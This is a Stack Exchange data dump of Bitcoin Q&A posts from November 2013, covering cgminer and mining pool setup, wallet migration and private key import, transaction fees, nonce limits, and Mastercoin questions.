  <row Id="17304" PostTypeId="1" AcceptedAnswerId="17345" CreationDate="2013-11-26T02:42:32.243" Score="0" ViewCount="1251" Body="&lt;p&gt;I've been mining with a deepbit account and noticed the balance hasn't been increasing. I use the following bat file to run cgminer version 3.5.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cgminer.exe -o http://pit.deepbit.net:8332 -u emailme@gmail.com_one -p 123abc -I 10 -g 1 --auto-fan --queue 1 --temp-target 70 --gpu-engine 945 --gpu-memclock 275 --temp-overheat 80 --gpu-fan 75-85  -k diablo -v 2 -w 256&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After upgrading to 3.5 when I press &lt;code&gt;q&lt;/code&gt; to quit Windows gives me the error &quot;Display driver stopped responding and has recovered&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screen shot of it working&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sX9z3.gif&quot; alt=&quot;running cgminner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to find out why it's not working?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="5406" LastEditDate="2016-02-12T16:07:42.273" LastActivityDate="2016-02-12T16:07:42.273" Title="Balance not going up in deepbit after mining" Tags="|cgminer|gpu-mining|pool-payout-methods|miner-configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17306" PostTypeId="1" CreationDate="2013-11-26T03:30:12.127" Score="0" ViewCount="663" Body="&lt;p&gt;Are the exchange rates of each country a factor in the worth of a Bitcoin? Is the use of Bitcoin similar to traveling to another country and having a exchange rate between paper monies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, are bitcoins affected by the exchange rates of each country or the web exchange?&lt;/p&gt;&#xA;" OwnerUserId="9365" LastEditorUserId="5406" LastEditDate="2016-02-12T16:06:10.477" LastActivityDate="2016-02-12T16:06:10.477" Title="Do exchange rates between countries' currencies have an influence on Bitcoin exchange rates?" Tags="|exchange-rate|economic-theory|price-discovery|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17311" PostTypeId="1" CreationDate="2013-11-26T07:47:09.760" Score="0" ViewCount="868" Body="&lt;p&gt;I'm trying to setup private mining pool, took some time to go around lots of stuff but eventually I got stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have: a miner (locally), pushpool (ext server #1), MPOS - frontend (ext server #2) and a wallet (locally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The miner CAN see pushpool, pushpool CAN connect to the wallet however MPOS shows there's no miners whatsoever.                                                                                                    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not using that stratum-mining but as I heard, it's optional                                                                                                                                                      &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer was reporting that some block was found and as far as I understand it takes information about current block/diff from the wallet. If miner connects to pushpoold then the link between miner-pushpool-wallet must be appropriate, right?                                                                                                                                                                                                   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus I have no idea why mpos reports no active miners, JSON result for current stats is &lt;code&gt;{&quot;pool_name&quot;:&quot;&quot;,&quot;hashrate&quot;:0,&quot;workers&quot;:0,&quot;shares_this_round&quot;:0,&quot;last_block&quot;:null,&quot;network_hashrate&quot;:43631019858}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9377" LastActivityDate="2014-03-04T15:49:55.853" Title="MPOS won't show miners" Tags="|wallet|pushpool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17312" PostTypeId="1" AcceptedAnswerId="17369" CreationDate="2013-11-26T08:16:29.970" Score="1" ViewCount="1019" Body="&lt;p&gt;I understand how to create and deposit into an offline wallet, but how do I retrieve the BitCoins back onto a local Bitcoin-Qt wallet on a Mac?&lt;/p&gt;&#xA;" OwnerUserId="9379" LastActivityDate="2013-11-27T04:26:44.673" Title="How to withdraw from an offline / paper wallet into Bitcoin-Qt on Mac?" Tags="|bitcoin-core|mac|offline|paper-wallet|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-28T22:14:43.433" ContentLicense="CC BY-SA 3.0" />
  <row Id="17313" PostTypeId="2" ParentId="17279" CreationDate="2013-11-26T08:45:11.657" Score="1" Body="&lt;p&gt;A key element of the Bitcoin protocol is the block chain, which is a public transaction database. This contains most all transactions made in bitcoins and also includes information such as the sending and receiving addresses. You can find historical transaction data for the past 3 months by using a block chain explorer like &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;ABE&lt;/a&gt; or &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend ABE, only because it is written in Python, which will make it a lot easier to interface with for data analysis purposes.&lt;/p&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="1643" LastEditDate="2013-11-26T11:15:09.873" LastActivityDate="2013-11-26T11:15:09.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17314" PostTypeId="2" ParentId="17197" CreationDate="2013-11-26T09:04:32.947" Score="2" Body="&lt;p&gt;No, it's completely safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To send mastercoins you have to use one of the mastercoin clients - you can't accidentally send mastercoins by working with a Bitcoin wallet.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-11-26T09:04:32.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17315" PostTypeId="2" ParentId="12990" CreationDate="2013-11-26T10:10:31.533" Score="0" Body="&lt;p&gt;A few of them trade Ripple. Try bitstamp.net&lt;/p&gt;&#xA;" OwnerUserId="2591" LastActivityDate="2013-11-26T10:10:31.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17316" PostTypeId="1" CreationDate="2013-11-26T10:25:37.373" Score="1" ViewCount="621" Body="&lt;p&gt;I have a wallet with 100 addresses in MultiBit. From what I've gathered, bitcoins are linked to a specific address. Is there a way to see in MultiBit how much of my balance belongs to each address?&lt;/p&gt;&#xA;" OwnerUserId="9345" LastEditorUserId="105" LastEditDate="2014-01-04T21:00:48.350" LastActivityDate="2014-11-12T03:53:45.300" Title="View bitcoins per address in MultiBit" Tags="|wallet|address|multibit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17317" PostTypeId="2" ParentId="17306" CreationDate="2013-11-26T10:51:35.710" Score="0" Body="&lt;p&gt;In this situation I can only give my own experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange rates most certainly affect my decision on which exchange I would use to wire money to to make a purchase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the USD weak against GBP? I would wire to an exchange which only works in USD and converts all money at market rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the EUR weak against the GBP but USD is strong on the GBP?? I would wire to an exchange which converts to EUR at market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes it does cause some peripheral effects, if everyone is doing the same as me it will cause an effect in the value against specific fiat currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im in the UK for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this at least partially answers your question.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-26T10:51:35.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17318" PostTypeId="1" AcceptedAnswerId="17325" CreationDate="2013-11-26T10:54:20.947" Score="4" ViewCount="2379" Body="&lt;p&gt;I currently have my wallet with blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way that I can import this address into the bitcoin-qt client?&lt;/p&gt;&#xA;" OwnerUserId="8972" LastActivityDate="2013-11-26T11:51:04.467" Title="Migrate from blockchain.info to bitcoin-qt" Tags="|bitcoin-core|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17320" PostTypeId="2" ParentId="10352" CreationDate="2013-11-26T11:18:45.820" Score="1" Body="&lt;p&gt;I am in London, United Kingdom. I selected the standard shipping option, which came to $38.00 (hardware was $149.00). I made my order back in April 2013, and they shipped in October 2013. ButterflyLabs used USPS (United States Postal Service) shipping option. I could track the order via the USPS site, although it says it got to the UK, and then was held - for about a month (presume they were working out import tax on the product) and then returned to Butterfly Labs, without informing me. Butterfly labs are now ignoring any communication from me, as I  try and resolve the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advise would be to look for another option, as the issue appears to be with USPS, and if you get any issues Butterfly Labs will blank you, as they already have your money, and there is not much you can do about it.&lt;/p&gt;&#xA;" OwnerUserId="9383" LastActivityDate="2013-11-26T11:18:45.820" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17321" PostTypeId="1" CreationDate="2013-11-26T11:33:00.800" Score="1" ViewCount="189" Body="&lt;p&gt;Assuming quantum computers become mature enough to effectively crack elliptic curve cryptography of the type used by bitcoin, is Mastercoin secure?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2013-11-26T16:03:25.300" Title="Mastercoin vs Quantum Computers" Tags="|quantum-computing|omni|" AnswerCount="2" CommentCount="1" ClosedDate="2013-11-26T18:46:08.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="17322" PostTypeId="2" ParentId="17321" CreationDate="2013-11-26T11:43:55.890" Score="1" Body="&lt;p&gt;In principle the Mastercoin protocol should be exactly as safe as bitcoin (which it uses as a back end) against the powers of quantum computation.&#xA;However, there is one important difference.&#xA;bitcoin addresses that were used at least once are not safe against quantum computers (look for example in this &lt;a href=&quot;http://bitcoinmagazine.com/6021/bitcoin-is-not-quantum-safe-and-how-we-can-fix/&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt; by Vitalik Buterin).&#xA;Since all Mastercoins were created by sending bitcoins to the exodus address it follows that any original bitcoin/mastercoin address (by that I mean, the original address from which bitcoins were sent to the exodus address) is not quantum safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should we worry about it? probably not. Quantum computer attacks against bitcoins are not expected in the near future and even if they were here tomorrow it is more likely that attackers use them against bitcoin directly. Hopefully by the time this issue becomes relevant we all have nice mastercoin clients we can use to easily transfer out funds to a never-used-before address which is quantum safe.&lt;/p&gt;&#xA;" OwnerUserId="5960" LastEditorUserId="5960" LastEditDate="2013-11-26T12:03:12.260" LastActivityDate="2013-11-26T12:03:12.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17323" PostTypeId="2" ParentId="13250" CreationDate="2013-11-26T11:44:20.207" Score="3" Body="&lt;p&gt;In addition to aantonop's links, there is also for python:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PyCoin &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin&lt;/a&gt;  Utilities for transactions signing and verification, and creation of deterministic wallets according to the BIP0032 standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PyWallet &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jackjack-jj/pywallet&lt;/a&gt; bitcoin wallet importer/exporter&lt;/p&gt;&#xA;" OwnerUserId="8644" LastActivityDate="2013-11-26T11:44:20.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17324" PostTypeId="1" AcceptedAnswerId="17326" CreationDate="2013-11-26T11:51:00.680" Score="0" ViewCount="165" Body="&lt;p&gt;If Alice sends Bob one bitcoin on the mastercoin network, this transaction is &lt;em&gt;technically&lt;/em&gt; implemented using a standard bitcoin transaction with a negligible amount.&#xA;Isn't that equivalent to creating bitcoins from thin air?&lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2013-12-01T16:45:21.440" Title="Is mastercoin a perpetual bitcoin machine" Tags="|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17325" PostTypeId="2" ParentId="17318" CreationDate="2013-11-26T11:51:04.467" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to your blockchain.info wallet&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;strong&gt;Import/Export&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;strong&gt;Export Unencrypted&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select &lt;strong&gt;Bitcoin-Qt Format&lt;/strong&gt; from the drop-down list&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You'll then see information that look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;priv&quot;:&quot;5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignore the other information, what you're looking for are your private keys that look like this: &lt;code&gt;5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just follow &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5941/how-do-i-import-a-private-key-into-bitcoin-qt-on-a-mac/5944#5944&quot;&gt;Rick's instructions&lt;/a&gt; to import each of your private keys into the Bitcoin-Qt client:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Run Bitcoin-QT&lt;/li&gt;&#xA;  &lt;li&gt;Select &lt;strong&gt;Help&lt;/strong&gt; (to the right of Settings)&lt;/li&gt;&#xA;  &lt;li&gt;Select &lt;strong&gt;Debug Window&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Select &lt;strong&gt;Console&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;Next to the &gt; input box type &lt;code&gt;importprivkey &amp;lt;bitcoinprivkey&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Example: &lt;code&gt;importprivkey 5KJvsngHeMpm884wtkJNzQGaCErckhHJBGFsvd3VyK5qMZXj3hS&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1643" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-11-26T11:51:04.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17326" PostTypeId="2" ParentId="17324" CreationDate="2013-11-26T11:56:46.070" Score="1" Body="&lt;p&gt;No.&#xA;Mastercoin clients form a bridge between the bitcoin network and the mastercoin network riding on top of it.&#xA;When Alice sends Bob one bitcoin in exchange for, say, 2 Mastercoins, the Mastercoin client recognizes a &lt;em&gt;standard&lt;/em&gt; bitcoin transaction from Alice to Bob &lt;strong&gt;and&lt;/strong&gt; a mastercoin transaction (encoded as a negligible amount bitcoin transaction) from Bob to Alice.&#xA;No bitcoins are created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This type of transaction is the basic way to create value in the mastercoin network.&#xA;Note that the same answer doesn't hold for other currencies, say US dollars, because there is no direct way for the mastercoin client to know that US dollars changed hands.&lt;/p&gt;&#xA;" OwnerUserId="5960" LastEditorUserId="7002" LastEditDate="2013-12-01T16:45:21.440" LastActivityDate="2013-12-01T16:45:21.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17327" PostTypeId="1" CreationDate="2013-11-26T12:08:04.423" Score="8" ViewCount="1118" Body="&lt;p&gt;Miners can vary at least these things when searching for hashes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A 32-bit nonce&lt;/li&gt;&#xA;&lt;li&gt;Which transactions are included in the block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it ever possible for a currency using the Bitcoin protocol to get 'stuck'? That is, can all combinations of parameters that miners are allowed to tweak not result in a hash that conforms to the difficulty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One scenario using those parameters I listed could be an ASIC miner working on a brand new network. The difficulty should rise extremely quickly, but there would be very few transactions for him to work with.&lt;/p&gt;&#xA;" OwnerUserId="533" LastActivityDate="2013-11-26T22:14:43.683" Title="Is it possible to run out of nonce values?" Tags="|protocol|nonce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17328" PostTypeId="1" AcceptedAnswerId="17590" CreationDate="2013-11-26T12:10:45.733" Score="4" ViewCount="3806" Body="&lt;p&gt;How do I update offline Electrum wallet after receiving payment with Online seedless wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guide at: &lt;a href=&quot;http://electrum.org/tutorials.html#offline-mpk&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/tutorials.html#offline-mpk&lt;/a&gt; does not say. It only says how to make payments from the offline wallet but not how to receive money to it. I can receive payments to my online seedless wallet, but I don't know how to transfer that to the seeded offline wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. In case some Electrum dev read this there is also an outdated instruction: [Offline PC] Go to Settings -&gt; Import/Export and copy your &quot;Master Public Key&quot; and put it in a text file on your USB-Key. &gt;&gt;&gt; This is now Wallet -&gt; Master Public Key.&lt;/p&gt;&#xA;" OwnerUserId="8729" LastEditorUserId="8729" LastEditDate="2013-11-26T18:12:21.830" LastActivityDate="2013-11-30T22:13:17.477" Title="How do I update offline Electrum wallet after receiving payment with Online seedless wallet?" Tags="|wallet|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17329" PostTypeId="1" AcceptedAnswerId="17963" CreationDate="2013-11-26T12:16:23.873" Score="3" ViewCount="179" Body="&lt;p&gt;Why am I able to export private keys using my seedless online Electrum wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this wallet is not meant to be able to expose any of my Bitcoin, but yet it has the option to export private keys? I have not gone to the point of actually exporting them because I'm scared it will compromise me somehow since I can't even set a password on seedless Electrum, so perhaps it is just a redundant option?&lt;/p&gt;&#xA;" OwnerUserId="8729" LastEditorUserId="8729" LastEditDate="2013-11-26T18:12:28.910" LastActivityDate="2013-12-04T17:07:49.940" Title="Why am I able to export private keys using my seedless online Electrum wallet?" Tags="|wallet|electrum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17330" PostTypeId="1" CreationDate="2013-11-26T15:06:21.793" Score="1" ViewCount="787" Body="&lt;p&gt;I am sending 50mBTC to 10 Wallet Addresses in a single transaction. What transaction fee should I add to the entire transaction? 0.1mBTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following on from that, what is the maximum number of addresses I can add to that single transaction that keeps below the 10kB threshold?&lt;/p&gt;&#xA;" OwnerUserId="8652" LastEditorUserId="5406" LastEditDate="2013-12-26T22:43:40.527" LastActivityDate="2014-03-26T14:54:18.457" Title="How do you calculate the transaction fee when sending to multiple addresses?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17331" PostTypeId="2" ParentId="17330" CreationDate="2013-11-26T15:35:38.570" Score="2" Body="&lt;p&gt;I use the following formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;148*I + 34*O + 10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where I is the number of inputs and O is the number of outputs.  The actual size will vary by I bytes since an extra byte is prefixed to an address that starts with 0x80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction fee is for each kB (1000 bytes) of the transaction, so you should be safe by using 0.0001 BTC per kB as the fee.  Note that the transaction size is rounded up to the next kB.  So a 1001-byte transaction will be charged two transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information here: &#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;nofollow&quot;&gt;Protocol specification&lt;/a&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;Transactions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2014-03-26T14:54:18.457" LastActivityDate="2014-03-26T14:54:18.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17332" PostTypeId="1" CreationDate="2013-11-26T15:43:22.460" Score="1" ViewCount="263" Body="&lt;p&gt;Is it possible to get a transaction with no fee attached processed faster by sending it directly to my own bitcoind running with mintxfee=0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the speed of my hardware play a role?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I need to set in bitcoind?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way of achieving the same results (fast zero-fee transactions)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6694" LastActivityDate="2013-11-26T16:08:48.380" Title="Will a zero-fee transaction get processed faster if I send it straight to a miner I am running especially for that purpose?" Tags="|bitcoind|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17334" PostTypeId="2" ParentId="17321" CreationDate="2013-11-26T16:03:25.300" Score="-3" Body="&lt;p&gt;Quantum is currently not mature as it requires helium to follow up so should be safe at this moment.&lt;/p&gt;&#xA;" OwnerUserId="9388" LastActivityDate="2013-11-26T16:03:25.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17335" PostTypeId="2" ParentId="17332" CreationDate="2013-11-26T16:08:48.380" Score="1" Body="&lt;p&gt;This will let you include your own transaction in the next block you find yourself, without paying a fee (but the fee would be paid to yourself).  However, if you are a solo miner, it will probably be an &lt;em&gt;extremely&lt;/em&gt; long time before you find a block yourself.  It won't have any effect on whether other miners will accept your transaction without a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no free lunch as far as getting fast transactions without a fee.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-26T16:08:48.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17336" PostTypeId="2" ParentId="4350" CreationDate="2013-11-26T16:24:08.157" Score="0" Body="&lt;p&gt;An additional option are bitcoin gift cards/vouchers. They have the advantage that your recipients are already familiar with the concept - everyone knows that plastic cards with an amount on them are a store of value, and they know that they can redeem it by scratching off the field on the back (similar to iTunes gift cards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bit4coin.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;bit4coin.net&lt;/a&gt; is one of the services offering bitcoin gift vouchers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fD6di.png&quot; alt=&quot;bit4coin.net gift voucher&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have a decent explanation on bitcoin as well.&lt;/p&gt;&#xA;" OwnerUserId="9389" LastActivityDate="2013-11-26T16:24:08.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17337" PostTypeId="2" ParentId="17327" CreationDate="2013-11-26T16:28:59.340" Score="6" Body="&lt;p&gt;Yes, it is possible to not find a valid block for all 2^32 possible nonces, and that is indeed the typical case. I believe only at the minimum difficulty level, sometimes still used as basis for finding shares in pooled mining, would you even average(!) one valid block out of all possible nonce values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a timestamp field you can update, and there is an extra nonce that may not be so obvious because it goes into a hash calculation before being included, along nonce and timestamp, in the final double-SHA-256 hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find more information &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-26T22:14:43.683" LastActivityDate="2013-11-26T22:14:43.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17338" PostTypeId="1" CreationDate="2013-11-26T16:42:56.447" Score="1" ViewCount="59" Body="&lt;p&gt;I understand that a Bitcoin transaction, by design, will get one confirmation after an average of 10 minutes. Does that mean that a vendor that accepts Bitcoins will have to wait 10 minutes for a transaction to confirm? Let's say I am a sandwich shop and I decide to accept Bitcoins. A customer walks in and uses Bitcoin to pay for his sandwich. Do I, the sandwich shop owner, have to wait 10 minutes to confirm that he actually paid for the sandwich before I let him have the sandwich?&lt;/p&gt;&#xA;" OwnerUserId="9390" LastEditorUserId="5406" LastEditDate="2016-08-02T06:00:06.133" LastActivityDate="2016-08-02T06:00:06.133" Title="Does a vendor have to wait 10 minutes before a transaction is confirmed?" Tags="|face-to-face-payment|" AnswerCount="0" CommentCount="2" ClosedDate="2013-11-28T00:18:15.173" ContentLicense="CC BY-SA 3.0" />
  <row Id="17340" PostTypeId="2" ParentId="17306" CreationDate="2013-11-26T19:06:58.120" Score="1" Body="&lt;p&gt;Bitcoin follows very closely to USD and RMB, because US and China are the biggest players in the bitcoin market now. You can see the trade charts here: &lt;a href=&quot;http://bitcoincharts.com/charts/volumepie/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/volumepie/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence US and China exchange rates will affect the worth of Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to travelling, the merchant accepting Bitcoin will list prices in their local currency. If you pay with Bitcoin, they will use the exchange rate found on one of the exchange networks (e.g. mtgox)&lt;/p&gt;&#xA;" OwnerUserId="9395" LastActivityDate="2013-11-26T19:06:58.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17342" PostTypeId="1" CreationDate="2013-11-26T20:41:53.060" Score="-1" ViewCount="2029" Body="&lt;p&gt;Just got my asicminer Blade yesterday and it is mining fine in slush pool via stratum proxy.&#xA;Now i want to switch the mining pool to another one. But how can i configure my mining_proxy exe?&lt;/p&gt;&#xA;" OwnerUserId="9402" LastActivityDate="2014-04-02T18:10:40.623" Title="Configure an Asicminer Blade" Tags="|asic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17344" PostTypeId="2" ParentId="9379" CreationDate="2013-11-26T21:40:57.513" Score="0" Body="&lt;p&gt;ASIC mining chips are currently being sold by companies such as Butterfly labs which are less expensive than the fully assembled hardware. As for implementing- you'll have to search. I haven't had any luck.&lt;/p&gt;&#xA;" OwnerUserId="9406" LastActivityDate="2013-11-26T21:40:57.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17345" PostTypeId="2" ParentId="17304" CreationDate="2013-11-26T22:14:37.717" Score="0" Body="&lt;p&gt;Are you mining with proportional rewards or PPS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If proportional then you get paid when a block is found. That can take several days at the size Deepbit is now. So things are most likely working, it just takes time.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-11-26T22:14:37.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17346" PostTypeId="1" AcceptedAnswerId="17353" CreationDate="2013-11-26T22:39:23.233" Score="1" ViewCount="234" Body="&lt;p&gt;Can someone show me the output of decoderawtransaction when the transaction requires multiple signatures, but it hasn't been signed by enough people, and the transaction was created using createrawtransaction?&lt;/p&gt;&#xA;" OwnerUserId="5537" LastActivityDate="2013-11-26T23:40:25.400" Title="Decoded transaction hex without enough signatures?" Tags="|transactions|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17347" PostTypeId="2" ParentId="9204" CreationDate="2013-11-26T23:01:06.323" Score="0" Body="&lt;p&gt;Bitfloor's shutdown offers a great example of the risk of holding fiat in an exchange:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Withdrawal can be cumbersome.&lt;/strong&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=180201.0&quot; rel=&quot;nofollow&quot;&gt;Bitfloor requires you to submit a photo ID and a checking and routing number.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Withdrawal can be risky.&lt;/strong&gt; If you give Bitfloor what they require, they have almost all the information someone needs to conduct ID theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Withdrawal means you lose your anonymity.&lt;/strong&gt; All transactions that originated from Bitcoins bought via Bitfloor can be traced back to your real identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Withdrawal can be SLOW.&lt;/strong&gt; If you read the thread above, you can see that users still haven't received their USD after months of waiting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would try at all times to have the minimum amount of fiat in any exchange.&lt;/p&gt;&#xA;" OwnerUserId="4171" LastActivityDate="2013-11-26T23:01:06.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
